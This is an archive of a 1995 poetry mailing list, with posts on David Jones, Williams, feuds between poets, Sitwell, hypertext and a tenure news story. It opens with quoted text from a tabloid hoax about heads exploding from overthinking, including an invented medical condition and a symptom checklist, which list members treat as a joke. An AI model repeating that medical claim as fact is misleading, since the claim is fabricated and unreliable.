> > : >last 25 years. The most recent death occurred just three years ago in
> > : >1991, when European psychic Barbara Nicole's skull burst. Miss Nicole's
> > : >story was reported by newspapers worldwide, including WWN. "HCE is an
> > : >extremely rare physical imbalance," said Dr. Anatoly Martinenko, famed
> > : >neurologist and expert on the human brain who did the autopsy on the
> > : >brilliant chess expert.
> > : >
> > : >"It is a condition in which the circuits of the brain become overloaded
> > : >by the body's own electricity. The explosions happen during periods of
> > : >intense mental activity when lots of current is surging through the
> > : >brain. Victims are highly intelligent people with great powers of
> > : >concentration. Both Miss Nicole and Mr. Titov were intense people who
> > : >tended to keep those cerebral circuits overloaded. In a way it could be
> > : >said they were literally too smart for their own good."
> > : >
> > : >Although Dr. Martinenko says there are probably many undiagnosed cases,

> > : >he hastens to add that very few people will die from HCE. "Most people
> > : >who have it will never know. At this point, medical science still doesn't
> > : >know much about HCE. And since fatalities are so rare it will probably be
> > : >years before research money becomes available."
> > : >
> > : >In the meantime, the doctor urges people to take it easy and not think
> > : >too hard for long periods of time. "Take frequesnt relaxation breaks when
> > : >you're doing things that take lots of mental focus," he recommends.
> > : >
> > : >HOW TO TELL IF YOUR HEAD'S ABOUT TO BLOW UP:
> > : >
> > : >Although HCE is very rare, it can kill. Dr. Martinenko says knowing you
> > : >have the condition can greatly improve your odds of surviving it. A "yes"
> > : >answer to any three of the following seven questions could mean you have
> > : >HCE:
> > : >
> > : >1. Does your head sometimes ache when you think too hard? (Head pain can
> > : >indicate overloaded brain circuits.)
> > : >
> > : >2. Do you ever hear a faint ringing or humming sound in your ears? (It
> > : >could be the sound of electricity in the skull cavity.)
> > : >
> > : >3. Do you sometimes find yourself unable to get a thought out of your
> > : >head? (This is a possible sign of too much electrical activity in the
> > : >cerebral cortex.)
> > : >
> > : >4. Do you spend more than five hours a day reading, balancing your
> > : >checkbook, or other thoughtful activity? (A common symptom of HCE is a
> > : >tendency to over-use the brain.)
> > : >
> > : >5. When you get angry or frustrated do you feel pressure in your temples?
> > : >(Friends of people who died of HCE say the victims often complained of
> > : >head pressure in times of strong emotion).
> > : >
> > : >6. Do you ever overeat on ice cream, doughnuts, and other sweets? (A
> > : >craving for sugar is typical of people with too much electrical pressure

> > : >in the cranium.)
> > : >
> > : >7. Do you tend to analyze yourself too much? (HCE sufferers are often
> > : >introspective, "over-thinking" their lives.)
> .-
>>>>>>8. Do you spend more than 4 hours a day trying to find new meanings
in " u.p.UP" or in "atoms and ifs"?>

mark the twy

--

↑ Index

970. **Burt Kimmelman**
Re: MOO
Thu 28 Sep 1995

---

tony,

does "techniqalities" without a "u" have any significance to the term?

burt

↑ Index

971. **George Bowering**
Re: millennium & David Jones
Thu 28 Sep 1995

I'm just an old admirer of Jones. My wife is an expert, has the patience etc. I just pick up items when I travel. Including a second hand enormous book of the complete drawings tipped in, which I paid 500 bucks for once. So I am not up on the latest. In fact the latest thing I attended was a couple years ago, the wonderful Eric Gill show at Univ. of Toronto, just down the street from Dilworth. Did you see that 1979 item published in Victoria , B.C. by Sono Nis Press? I dont know whether it was also done in a UK or US edition. It is Henry Summerfield's _An Introductory Guide to the Anathemeta and the Sleeping Lord_ Gives references for all the stuff, stuff fr the Niocene Creed, etc.I was lucky, snaffted that for 4 bucks!

↑ Index

972. cris cheek
Albert Hall related
Thu 28 Sep 1995

Hi. Ken's been posting about this event and I've even had e-mail from NY describing my photo on the publicity which I myself have not seen yet. A few choice observations:

- it would appear from the brief I got today that there is considerable press and radio interest being generated by this event

- the bill is too beefcake for my liking, with only 3/4 women poets on a bill of maybe 15 performers (I'm told others are being added) / and don't forget the winner of the poetry competition advertised on the leaflet (which I haven't seen as I said, heck I'm merely reporting this stuff) gets to read their poems from the stage alongside us 'alumni'. Made me want to just invite a mass simultaneous reading from the stalls by all the losers as my contribution - until that is the recent discussion about bland abstract lyrics got into action

- the promoter is going to spend somewhere close to £30,000 of his own money, and might well lose much of that

- there are two programmes melded together (one offered by Iain Sinclair as himself, Denise Riley, Brian Catling, Kathy Acker, cris cheek and Aaron Williamson / this part of the evening will be introduced by Michael Moorcock (I know, I know, it's seriously weird) - the other being that of the 'official' poetry programme with names as Ken identified plus I'm told at least an attempt to include Anne Waldman and others / introduced by that sixties free wheeling drug baron Howard Marks!)

- Penguin books are apparently going to produce a 'memorial' book of the event and it's being filmed

- for those curious about such things, it's going to presented kind of rock-multi-media style - clip mikes being de rigeur and a giant screen projecting on-stage 'images' of the performers as filmed by three cameras in the hall

- popcorn is not allowed in the building (despite which provision I've agreed to take part), so eat outside

love and love
cris

↑ Index

973. **Shaunanne Tangney**
journals (fwd)
Thu 28 Sep 1995

---

hello, again, all--

i am forwarding my own post, as it seems to have gotten lost in some kind of cybershuffle! --that is, i don't remember having seen it make it to the list--deep, dark appologoes if i have doubble posted!

thanks in advance,
shaunanne
[redacted]

---------- Forwarded message ----------
Date: Wed, 20 Sep 1995 20:04:43 -0700 (PDT)
From: Shaunanne Tangney <[redacted]>
To: [redacted]
Subject: journals

hello,all--

i have a querry for you: i have a very theoretical paper that i want very much to publish. it is rather non-traditional (read: non-academic), slightly non-linear, and fuses prose and poetry. it asks (answers?!) all those big questions like, what is a writer? writing? poetry? a poet? i rely on cixous and derrida (as i am wont to do!) but include frost, poirier, dickinson, plath, and woolf, too. most of these are allusions; the paper is very much mine. it is a position paper, i guess, and does not really consider pedagogical issues, nor is it very empirical.

i am considering trying it at either _the american poetry review_ or _critical texts: a review of theory and criticism_. my question to you all is: does anyone know anything about these journals? are the reffereed? do they have a wide/national circulation? a good reputation?

i am btw. that rock/hard place with this one, in that it is fairly un-traditional, and yet as an academic, i need publications! i think it is valuable paper--but i fear that more traditional journals are not appropriate; but then again, i cannot go too far off the beaten path, and satisfy the academy!

i thank you in advance for your input--backchannel me if you'd rather--
shaunanne
[redacted]

↑ Index

974. **Jordan Davis**
qal
Thu 28 Sep 1995

"friends of a tend"--Gale Nelson

"The remainder is paranoia"--Larry Price

- Thanks for the Jay Wright stuff.

- Not to make you do my research, but has anybody written on the subject of arguments between poets? Excommunications? Splits? Weakenings of ties? Anybody know any good stories?

Jordan Davis

↑ Index

975. **Edward Foster**
Re: Flossy & WCWs army of ah whatever
Thu 28 Sep 1995

---

no, rod, i'd still keep olson in "current" -- no one before him, few since, have been able to escape augustine's time (language/time), all linear. olson's "history" is still in the words, no critic's taken that from him yet. -ed

↑ Index

976. **Edward Foster**
Re: The News
Thu 28 Sep 1995

---

i checked on the story, aldon, and can confirm it's true, tho the woman who survived is being held by authorities; it seems the scrap of verse included the letters wcw but was otherwise held to be indecent by university professors who teach wcw and say they can't live without him; he's the only poet students understand these days.

↑ Index

977. **Tony Green**
Re: MOO
Thu 28 Sep 1995

---

techniqalities with a q not really so darned significant as all that only suggestive of "technical qualities" it's not worth worrying over

Tony Green,
e-mail: [redacted]

↑ Index

978. Edward Foster
Re: you & an army of mixed metaphors and forgotten half-truths...
Thu 28 Sep 1995

---

actually, steve, i like that new jersey accent, and it's almost gone. i smashed an elbow a couple years ago, and the doctor who fixed it (in his 70s or 80s, i'd say, but did a fantastic job) sounded just like those williams recordings. i asked him if he'd heard of wcw, and he said, oh, ya, the guy that used to be at passaic" [i.e. passaic general]. i ran into a older guy selling real estate with that accent, not long ago; and the other day a friend and i heard in one of the old bars around here. but like wcw's world generally, the accent's gone. -ed

↑ Index

979. Edward Foster
Re: bland abstract lyrics, or you've got wheat in your eye
Thu 28 Sep 1995

HEY, HEY, HEY, GEORGE: careful there, some of my best poet friends are very, very dead: Cavafy, for one; went all the way to Alexandria just to find his grave and talk with him. in fact, odd though it must sound, i have a few words with wcw every time i head east along route 3. but he still sounds as if he were my grandfather or great-grandfather, always giving advice.

↑ Index

980. SUSAN E. TICHY
Re: Flossy & WCWs army of ah whatever
Thu 28 Sep 1995

On Thu, 28 Sep 1995, Edward Foster wrote:

> *no, rod, i'd still keep olson in "current" -- no one before him, few since, have been able to escape augustine's time (language/time), all linear. olson's "hist ory" is still in the words, no critic's taken that from him yet. -ed*

When I wrote a paper with this exact thesis, at UCBerkeley 20 years ago, my professor said "well-argued, but nonsense".

--Susan

↑ Index

981. **Phillips Patrick**
New Address
Thu 28 Sep 1995

I have lost my affiliation. Am no longer framed by a clear institution - though I'm still not sure Brown was much more than a service. I now hail from the megaplex - AOL - and pay for what once was free... Sorry to any if you have responded to my recent post, but here's the new address -

[redacted]

↑ Index

982. **Steve Carll**
Re: Poetry Wars
Fri 29 Sep 1995

> *"friends of a tend"--Gale Nelson*
>
> *"The remainder is paranoia"--Larry Price*
>
> *- Thanks for the Jay Wright stuff.*
>
> *- Not to make you do my research, but has anybody written on the subject of arguments between poets? Excommunications? Splits? Weakenings of ties? Anybody know any good stories?*
>
> *Jordan Davis*

Jordan:

Poetry Wars by Tom Clark dishes a lot of dirt. Can't remember what press it's on, though, or if it's still in print.

Steve

↑ Index

983. **George Bowering**
Re: An especial danger to hard working poets (fwd)
Fri 29 Sep 1995

I first got that exploding head story or a variant from Australia about 6 months ago, and then again from somewhere about a month ago.

When yr buying a second-hand computer, look carefully for bits of brain and bone. A word to the wise.

↑ Index

984. **Navdeep Dhillon**
unsubscribe
Fri 29 Sep 1995

```
                                  __o
                         __o       -\<,
                        -\<,   ...........O/ O
.............................0/ 0
```

Navdeep Dhillon

↑ Index

985. **Keith Tuma**
Re: Albert Hall related
Fri 29 Sep 1995

---

cris and Ken:

Here's hoping you'll both post something in the way of a report on the Albert Hall festivities after the "reforgotten" appear October 16.

For those who haven't seen the flyer, cris gets second prize for best picture, after Brian Catling, who looks like a cross between a postmodern monk and that guy from the original Adams Family--was it Fester?--sans light bulb in mouth. What is that you're smokin' cris?

For those of us--me--who know little or nothing about them, who are these "counter cultural heroes"--as the brochure describes the "presenters"--Michael Moorcock and Howard Marks?

Hell, I thought the only poetry celebrities in England these days were the New Gen folks. And not a one of them on the program.

The Blaserfest reports were entertaining and useful: great to have more of the same in this case for those of us who can't get across the pond.

--Keith Tuma

↑ Index

986. **Lisa Robertson**
ssplits and weakenings
Fri 29 Sep 1995

Dear Jordon,

Edith Sitwell cuttingly narrates the split between Lady Mary Wortley Montagu and Alexander Pope in her biography of Pope.I'm not sure whether it was in this book that I read that the final blow for Pope's and Lady Mary's mutually

generative partnership involved the return of borrowed bed-sheets, unlaundered.

In any case, Sitwell's bio ought to be read for its curious, long, dense lists which are among the least banal texts I have ever had the pleasure of reading. (see chapter XI, Fashionable, Life for these)

sincerely,
Lisa

↑ Index

987. Peter Larkin
David Jones
Fri 29 Sep 1995

As DJ seems to be stirring an interest (and thanks to Larry Price for inserting him into the Wild Blue Yonder discussion) let me tell what I know for anyone in or visiting the UK over the next few months.

Two exhibitions: DJ: a Map of the Artist's Mind
Glynn Vivian Gallery, Swansea 30 sept-12 Nov
Hove Museum, Hove, 19 Nov - 28 Jan
National Museum,Cardiff 17 Feb - 14 April

DJ: A Centenary Exhibition Wolsey Fine Arts, 12 Needham Rd,London 25 Oct - 25 Nov (catalogue already available)

Three new books: DJ: Ten Letters Agenda Eds Feb 1996 (but priced at stlg70!) DJ: a Fusilier at the Front ed. A.J.Hyne, Seren Sept 1995 DJ: the Maker Unmade, By J Miles & D.Shiel, Seren Nov 1995

Also not yet announced: DJ: Artist and Writer ed Paul Hills , Avebury, Spring 1996 This will contain a new paper by Kathleen Henderson Staudt who has written (I agree with Graham Sharpe on this) the best book on DJ to date, "At the Turn of a Civilization", U of Michigan Press, 1993.Also featured is a piece of Gallic esprit by Jacques Darras on the role of somnolence in English culture. One last general point: DJ is most visible as a WW1 poet (though a controversial one, given his treatment of war as a recurrent human predicament,to be rememorated as much as resisted((for a recent theoretical reading, see Evelyn Cobley "Representing War" U of Toronto P, 1993)). More immediate to me, though, are parts of The Anathemata and some of the fragments in The Sleeping Lord, especially The Tutelar of the Place, a wonderful trenchant statement of the poetics of attachment but entirely of the present (DJ believed art can only be of "the Now"). See my paper "Tutelary Visitations" in Paul Hills above. Sorry for the Jonesian exactitude of all this.
Peter

Peter Larkin Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 524475 Fax: 01203 524211
Email: [redacted]

↑ Index

988. **Aldon L. Nielsen**
Re: ay sixes and sevens
Fri 29 Sep 1995

Ed-- Have you really taken to six liners now, or has some pirate rengadeer secretly attached himself to your three-liners??

My students also understand Edwin Markham --

↑ Index

989. **Alan Golding**
Mullen and more
Fri 29 Sep 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Does anyone know of any commentary on Harryette Mullen's work--essays, reviews, etc.--and esp., though not exclusively, on Trimmings? You can reach me via my backchannel, provided you can get past the anal godling lodging in my Poetic Briefs.

Since one or two threads of the WCW argument are still dangling, I thought to mention a good essay Hank Lazer published a few years ago on different readings of WCW among recent poets. (Hank, maybe you can post the ref.? I don't have it to hand right now.) What's being debated, at the risk of stating the obvious, is competing readings of WCW, not whether any given characteristic is "really there" in his work. My memory is that Hank lays out very well what different writers have recently found in WCW, and what different texts they're drawn to in order to find what they need.

Tenney, I appreciate your faith in the breadth of my reading, but I pretty much lost touch with Wright after The Double Invention of Komo, which I believe was his first book. And after this bloody (in all senses) trial, I can no longer read his line about "the broken field runner in the terminal" without thinking of OJ and Hertz commercials.

Jordan: Chap. 4 of my book From Outlaw to Classic talks some about internal differences/arguments within an embryonic poetic community in discussing the

first series of Cid Corman's Origin. This isn't the chapter's main focus, but I do get into the issues somewhat. I agree that it's hard to find material beyond the anecdotal (though that's always entertaining too).

anal godlodging

↑ Index

990. **Jonathan Brannen**
Re: renga - the sequel
Fri 29 Sep 1995

At 10:17 PM 9/22/95 -0500, Charles Alexander wrote:
>hobbyist quaffs juleps poured in the direction of the skids
>made by Chevettes sliding off the I5 south of Tacoma
>looking like a born-again, living like a heretic, listening
>to blues most simpering until the Camels dry away, stained fingertips
>on Cynthia's knees, prompting treasure taken forgiveness sighing
colored the image of the dancer brooding on the fence
the demon beneath falling sky is an appropriate image for an eleven-year-old
on the run from incendiary bombs at the edge of the city devoid of figures

↑ Index

991. **Jonathan Brannen**
Re: spike it with saussure - begins the intramix...
Fri 29 Sep 1995

At 09:30 AM 9/23/95 -0400, Jorge Guitart wrote:
>On Fri, 22 Sep 1995, Sheila E. Murphy wrote:
>
> In the books were dreams and in the dreams were books
> of Palookaville & the dead heroes of Guadalajara
> empowering scores of liberated mozos intent of Lacanian
> libretti, salted with much, much more than roughage added to taste
> or tremolo, finding the shores awash with alphabet, proclaiming nothing
> nutting nothing a-merrily over my dead bodies in abandon
> where wrote was written, stepping one four nine
> passacaglia without the prefab little knobbed things on them
> completely set on the sea as so much crabbiness
> diverts attention from wars in three voices and the steady rain of hemlock
> falling on the Concerns box & a sob distant as adventure capital
>behind the exterior of the city was an interior composed
of scar tissue recording the grain of farm house timbers

a rubble of history in the grass where a decapitated statue
unavoidably becomes an image of a nation without a true face

↑ Index

992. **Jordan Davis**
in dreams
Fri 29 Sep 1995

> > In the books were dreams and in the dreams were books
> > of Palookaville & the dead heroes of Guadalajara
> > empowering scores of liberated mozos intent of Lacanian
> > libretti, salted with much, much more than roughage added to taste
> > or tremolo, finding the shores awash with alphabet, proclaiming nothing
> > nutting nothing a-merrily over my dead bodies in abandon
> > where wrote was written, stepping one four nine
> > passacaglia without the prefab little knobbed things on them
completely set on the sea as so much crabbiness
diverts attention from wars in three voices and the steady rain of hemlock
falling on the Concerns box & a sob distant as adventure capital
behind the exterior of the city was an interior composed
of scar tissue recording the grain of farm house timbers
a rubble of history in the grass where a decapitated statue
unavoidably becomes an image of a nation without a true face
a face to sell a magazine, a face to turn to the side

↑ Index

993. **Charles Smith**
Re: Poetry Wars
Fri 29 Sep 1995

> *- Not to make you do my research, but has anybody written on the subject of arguments between poets? Excommunications? Splits? Weakenings of ties? Anybody know any good stories?*
>
> *Jordan Davis*

& Steve Carll replies:

Poetry Wars by Tom Clark dishes a lot of dirt. Can't remember what press it's on, though, or if it's still in print.

Clark's _The Great Naropa Poetry Wars_ was published by Cadmus Editions in 1980. Doubt it's still in print. Ed Dorn still won't be found on the Naropa campus next door to CU.

Mary Oppen in _Meaning A Life_ has some stuff on George's troubled relation to Zukofsky. More material can be found in the volume of his letters edited by Rachel DuPlessis. Jenny Penberthy touches on LZ's relationship w/ Niedecker, & her cautious letters to Corman (ed. Lisa Faranda) add more.

Excommunications? How 'bout any history of Breton & the surrealists.

Guess we'll have to wait for Kevin's Spicer bio to hear all about how Duncan/Spicer/Blaser et al. treated each other, & the seriousness of their fallings out. Anyone present at the Blaser gig remembers Kevin reading a George Stanley letter talking about Robin while George sat there on stage grinning & squirming.

Who doesn't remember the ugly ruckus arising from RD's interruption of Barry Watten's LZ talk. After David Levi Strauss dredged it up a few years later, the pages of the local _Poetry Flash_ were filled w/ it. All of which did have repercussions on who people talked to/read/published with.

Of course there's more. But even when serious issues of poetics are involved, going over all this 'dirt' seldom rises above the level of gossip & personalities. Guess I have doubts about the value of such a study.

Charles

↑ Index

994. **Steve Carll**

Re: the Wild Blue Yonder

Fri 29 Sep 1995

Larry Price writes:

> *It evidently is continually to be restated: We are not in relation to the past. We are relation to the present, where (as Peter Larkin remarked concerning David Jones) "culture has to be about forgetting [and then] to recognize the fragments that work up through that process in unfamiliar patterns which reoriginate attachment."*

When you forget something, when you erase it, aren't forgetting and erasing modes of relating to that something? Or, to ask it another way, doesn't the past nonetheless come to presence, albeit as what is no longer present?

Please restate it again for us paranoiacs :-)

Steve

↑ Index

995. **Robert Drake**
zukofsky/Bottom found
Sat 30 Sep 1995

---

as happenstance would have it--

found at the local bookstore: 1st edition copy of Zukofsy's _Bottom_, arc press, both volumes hardbound & cased; ex libris Hugh Kenner (handsigned inside front cover, some markings & maginal annotations)... contact me backchannel for pricing

&, while i'm at it, any offers on Dorn's _Gunslinger Book 2_,
black sparrow, ex libris ron silliman? why would he have
let that go? or why would he have had it in the first place?

luigi

↑ Index

996. **Tenney Nathanson**
yikes
Sat 30 Sep 1995

> *Date: Fri, 29 Sep 1995 18:06:55 -2400*
> *From: Jordan Davis <[redacted]>*
> *Subject: vannevar prosodie*
>
> *Hi.*
> *A hypertext-historical question (set of questions). Anybody here talk about Vannevar Bush? Anybody here work with Intelligent Pad? Will that program work on a mac? Is there a prosody of hypertext?*
>
> *Jordan*

↑ Index

997. **Lisa Robertson**
Sitwell
Sat 30 Sep 1995

Dear Jordan,

Naturally I do read Sitwell's poems, especially her early ones. They-- with Swinburne-- have become permanent bed-side fixtures. I find Sitwell very unlike Stein and suspect their friendship and mutual respect tinted sitwell's poems for some readers. In any case, their projects are quite different in intent. The detail of Sitwell's attention to the sound texture of a poem-- the specific variability of effect of syllabic structure on metre and rhythm-- is almost scientic in its precision-- and beautiful and funny. Many fairly sophisticated readers

apparently thought so before the New Critics successfully deleted her from serious discussion of 20C poetry. Maybe this had something to do with her extension of some of the premises of decadence-- terribly unfashionable-- as well as her exploration of fairy tale and nursery rhyme as literary structures. I've fantasized for several years about writing on Sitwell, and hope to get at it some day.

Lisa

↑ Index

998. **Jim Rosenberg**
Re: vannevar prosodie
Sat 30 Sep 1995

Jordan Davis <[redacted]>:
> A hypertext-historical question (set of questions). Anybody here talk
> about Vannevar Bush?

There are a few of us hypertextual or machine-modulated poetry folk who hang out hereabouts -- myself, John Cayley to name a couple. The discussion turns to hypertext now and again but not with much persistence. You probably want anyone posted that address:

: From: [redacted] (Prentiss Riddle)

: People interested in hyperfiction may also want to know about "ht_lit", : the hypertext and literary theory mailing list. The ht_lit list was : created in February 1995 to provide a forum for discussion of hypertext : fiction, hypertext and literary studies, and hypertext theory. To : subscribe, send mail to "[redacted]" with : the phrase "subscribe ht_lit" in the body of the message. For more : information see: : : ht_lit archive page : http://www.eng.carleton.ca/~kmennie/ht_lit.html

> *Anybody here work with Intelligent Pad? Will that program work on a mac?*

I'm not familiar with that one; try posting to alt.hypertext.

> *Is there a prosody of hypertext?*

You might want to look at a piece I wrote called "Notes Toward a Non-Linear Prosody of Space". You can find it at:

http://www.well.com/user/jer/nonlin_prosody.html

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124

WELL: jer
Internet: [redacted]

↑ Index

999. **Ken Edwards**
Albert Hall
Sat 30 Sep 1995

Yes, I'll be there as the list's own cub reporter, and will file a report on the proceedings on 16 Oct. Maybe Cris will also tell us how it was for him.

Michael Moorcock is a(n ex-) science-fiction writer who edited New Worlds magazine and wrote a series of novels in the late 60s featuring counter-culture anti-hero of the omniverse Jerry Cornelius. Lately he's been writing anti-porn stuff with Andrea Dworkin. I can't remember who Howard Marks is/was.

↑ Index

1000. **Jordan Davis**
vannevar prosodie
Sat 30 Sep 1995

Hi. A hypertext-historical question (set of questions). Anybody here talk about Vannevar Bush? Anybody here work with Intelligent Pad? Will that program work on a mac? Is there a prosody of hypertext?

Jordan

Lisa: thanks for the papism. I forgot/didn't know Sitwell's book and will trundle shortly to find it. Do you (does anybody here) read her poems? They've always been brushed aside (when I bring them up) as sort-of-second-rate Stein. Which doesn't seem quite accurate

↑ Index

1001. **Aldon L. Nielsen**
Re: wrighting & mullen
Sat 30 Sep 1995

Alan et al -- actually, first Wright book I've seen is _Death as History_ (1967), followed by _The Homecoming Singer_ (1971) --

Heven't seen anything substantial on Mullen yet -- I spoke briefly about _Trimmings_ at MLA in NY where you were in audience -- & will send copy of that -- forthcoming book quotes a number of reviews, so I'll send you those pages in case you want to see the full reviews -- Trust there will be more critical work to come --

Mullen, by the way, has a chapter in _The Culture of Sentiment_, ed. by Shirley Samuels, that's worth looking at -- if your library doesn't have it, I can send a xerox --

in paragraph two, that's Harryette's forthcoming book, _Muse & Drudge_, not mine -- I quote Mullen on vision & literacy in mine, but won't get to my full discussion of her poetry till vol. 2 --

would love to hear anything you have to say about her work

↑ Index

1002. **Kevin Killian**

Re: Sitwell

Sat 30 Sep 1995

Lisa and Jordan,

This is Kevin Killian speaking. If you enjoy Edith Sitwell, I know you will enjoy the forthcoming film "At Home with the Stars #3, featuring Denton Welch," by the NY videographer Joe Westmoreland, in which I yours truly play Dame Edith Sitwell in this feature-length version of the life of Denton Welch.

I got to write all my own dialogue, dress up in fabulous clothes and jewels, and welcome Denton into my London flat . . . serve him tea . . . we discuss poetry and literature, and Denton's illness and death. As I was speaking underneath this wonderful jewel-studded turban, I believe I was able to channel Sitwell's actual voice: she spoke through me just as Lorca did to Spicer! Only this is in living color, and pixel vision too. Anyhow watch for this show at an obscure art film festival near you early next year. However, Lisa, you are the Sitwell de nos jours, the Edith of Vancouver, and your pudeur, wit and brilliance when reading will never be forgotten by any who have seen you read; however, I had the right dress (one of Dodie's) and headdress, so it is a tossup.

Did you know that Edith met, in the course of her career, not only Denton Welch but Raquel Welch too? XXX Kevin

↑ Index

1003. **Tenney Nathanson**

o wind (was: http://azstarnet.com/starnet/today/lx2030.htm)

Sat 30 Sep 1995

> *Date: Sat, 30 Sep 95 13:31:13 -0700*
> *From: Tenney Nathanson <[redacted]>*
> *Organization: University of Arizona*
> *To: [redacted]*
> *Subject: http://azstarnet.com/starnet/today/lx2030.htm*

Content-Length: 4188

http://azstarnet.com/starnet/today/lx2030.htm
Tenure inquiry
may be dicey,
regents learn

By Alisa Wabnik

The Arizona Daily Star

TEMPE - Even the question of how to debate tenure drew controversy at yesterday's Arizona Board of Regents meeting, previewing the intense feelings to come as the board considers whether to eliminate the university job benefit.

Board members agreed, 4-2, to hear in the next several months from national experts - both for and against tenure - before deciding how to proceed.

But they first rejected a proposal from university presidents and faculty to get their recommendations from a committee of academicians. Some regents said it would produce biased results.

``If all the people on this (proposed) task force come out of academia, then we're not going to have the kind of discussion I want to have,'' Regent John Munger said.

``We don't want to just discuss the possibility of modifying tenure. We want to discuss whether tenure is appropriate at all,'' Munger said.

Regent Hank Amos agreed, but nevertheless voted with Regent Andrew Hurwitz against having multiple speakers because he wanted to hire independent consultants instead. Hurwitz preferred the committee structure, while board President Eddie Basha abstained. Regents Art Chapa and Rudy Campbell were absent.

Munger's comments provoked a forceful response from Arizona State University President Lattie Coor, who said they violated his understanding from previous discussions of where the board is headed.

``These are matters that affect literally thousands of people,'' Coor said. ``If this board intends to seriously entertain eliminating tenure as a function of the Arizona university system - a step so radical that it would fundamentally transform all the institutions - then I think we ought to . . . get this issue on the

table.''

Tenure has been a staple of academic life since the early 20th century, when universities began offering it to their faculty as both freedom and security - freedom to pursue scholarly ideas without fear of political reprisal, and economic security to compete with higher-paying jobs in the private sector.

As of last fall, 2,765 of the 5,507 faculty in Arizona's university system had tenure, said Nor- ma Salas, the regents' assistant for public affairs. About another 1,000 were on the tenure track, she said.

``The concern of the faculty about tenure is not their concern about their personal tenure,'' which likely would be protected by contracts written before any new board action, said ASU Provost Milton Glick.

``It is rather a concern about our ability to be the best possible university.'' Many administrators and faculty worry that eliminating tenure could drive away Arizona's best professors, who could seek jobs elsewhere since most other universities offer the benefit.

But regents also hear from community members who view tenure as simply a lifelong job perk for unproductive professors.

``Regents across this country, legislators across this country, the public across this country are all asking for us to rethink the notion of tenure . . . and that's what we're doing,'' Basha said.

But University of Arizona President Manuel Pacheco said after yesterday's discussion that, ``There is more intensity to the issue of whether we should have tenure or not than I guess I had read'' from previous meetings.

Regent Judy Gignac said she hoped the ruckus would not prompt faculty to get ``all riled up,'' akin to the turnout of about 150 people Thursday when the regents discussed affirmative action.

However, Hurwitz countered that - although he likely would not vote to end tenure in Arizona - ``there is a strong possibility that members of this board will want to look at a variety of radical alternatives. I think the faculty should be anxious,'' Hurwitz said.

News Links

The regents and their responsibilities are profiled in theRegents

> *Home Page at ASU.*

↑ Index

1004. **Louis Cabri**

Scholar's Bookshelf

Sat 30 Sep 1995

Brian McHale very kindly backconduited the coordinates of the Scholar's Bookshelf store at which I was able to put an order in for two copies of Bottom for $18US ea (I think). Brian, thank you very much for the effort you went to to find the address etc. Since I have to post this thank you to the List Itself, may as well also post the store's address in case anyone else wants it:

110 Melrich Rd
Cranbury, NJ
08512
Tel. [redacted]

↑ Index

1005. **Steve Carll**

A Criticism (in Really Bad Taste)

Sat 30 Sep 1995

> *Michael Moorcock is a(n ex-) science-fiction writer who edited New Worlds magazine and wrote a series of novels in the late 60s featuring counter-culture anti-hero of the omniverse Jerry Cornelius. Lately he's been writing anti-porn stuff with Andrea Dworkin.*

With a name like that, he's taking a mighty big risk writing anti-porn stuff.

Steve

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

October 1995

672 messages · Sun 1 Oct 1995 – Tue 31 Oct 1995

October opens with a verdict and a laurel. On the third of the month the century's most watched jury acquits O. J. Simpson, and a country that had agreed on almost nothing agrees, at least, to keep arguing about that; on the fifth the Swedish Academy hands Seamus Heaney the Nobel, and the list — which honours few laurels it did not itself confer — takes the news with a Northern shrug. R I Caddel reports, in his Durham dryness, that Heaney *“got his gong,”* recycling Eric Mottram's old jibe for the occasion. The Pope is somewhere above Manhattan, the Mall is filling for the Million Man March, and the poets, as ever, keep one eye on the wide world and both hands on the poem.

The month's largest argument, running to better than fifty posts, belongs to B. Cassidy, who asks why the gallery has taken its avant-garde to its bosom — a Pollock, a de Kooning, a Rauschenberg hung in triumph — while poetry keeps Olson and Duncan and Stein out in the annex. Charles Alexander, the most tireless correspondent of the month, defends the difficult on the ground that such works *“question the possibilities of coherence,”* and are prized, not merely tolerated, for doing so. Jordan Davis observes that the Whitney, then showing Hopper, makes exactly the wrong witness for the prosecution, and that any honest audit of the two economies will *“develop a strong sense of perversity.”* The thread does not resolve. It was not built to.

From across the water Ken Edwards forwards the nation's verdict — a BBC poll has crowned Kipling's 'If' the best-loved poem in Britain — and remarks that *“stiff-upper-lip moralism still rules,”* or perhaps merely sells. The list answers in the only currency it keeps, which is more poems: a small epidemic of villanelles breaks out, most of them cheerfully and by their own admission bad, and Timothy Liu turns the season's laurel into a refrain, asking again and again down his stanzas, *“Seamus Heaney or Susan Howe?”* — the one question the Academy will never be set, and the one the list will never stop asking itself.

Elsewhere the elders are kept warm. Dodie Bellamy reopens the perennial matter of Lorine Niedecker set beside Zukofsky, and Chris Stroffolino, charmed by the near-rhyme of the abbreviations, offers the month's happiest slip: *“I like the conflation of Zuk and Buk.”* Mark Scroggins supplies the corroborating anecdote of a Harvard eminence who, told of a scholar at work on Louis, took the American poet in question to be Charles. In a graver register Jeff Hansen worries the

Shelleyan inheritance, confessing himself caught in the old snare whereby *“poetry should be at the origin of everything,”* and therefore answerable for the whole of it.

The month's most quietly furious thread wears the mildest of titles — Distant Lover — in which Aldon Nielsen contemplates the university's new romance with distance learning and pronounces it, like the web that promised so much, *“nothing like the real thing.”* He sets the emptying classroom beside a colder arithmetic: the deep cuts to public education arriving in the very season the prisons are funded without a murmur, and the list, for once, finds nothing witty to add. That is the note October closes on. I have decoded what the machines encoded, struck what they appended, and returned every correspondent's address to the dark; the poets themselves I have left exactly as they were — arguing, in a safe area of their own devising, over which laurel to refuse next.

— Kristen M. Fabians

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102. Herb Levy — Re: The Art and Poetry Worlds
103. Jordan Davis — Re: poetry and visual art
104. Dodie Bellamy — Re: Poets n visuals
105. Dodie Bellamy — Re: identity problems in the wild blue
106. Gale Nelson — Re: Celan Salon
107. ULMER SPRING — wild blue and art/writing
108. Marshall H. Reese — Re: The Art and Poetry Worlds
109. Steve Evans — Out Beyond Its Edge / Keaton Centennial
110. Burt Kimmelman — Re: poetry and visual art
111. Burt Kimmelman — Re: The Art and Poetry Worlds
112. Charles Alexander — Re: The Art and Poetry Worlds
113. Edward Foster — Re: ay sixes and sevens
114. tunguska — Re: situationism in the wild blue
115. B. Cassidy — Re: Influence query
116. Graham John Sharpe — Re: fragments, mourning/wild blue yonder still
117. George Bowering — Re: The Art and Poetry Worlds/Stein
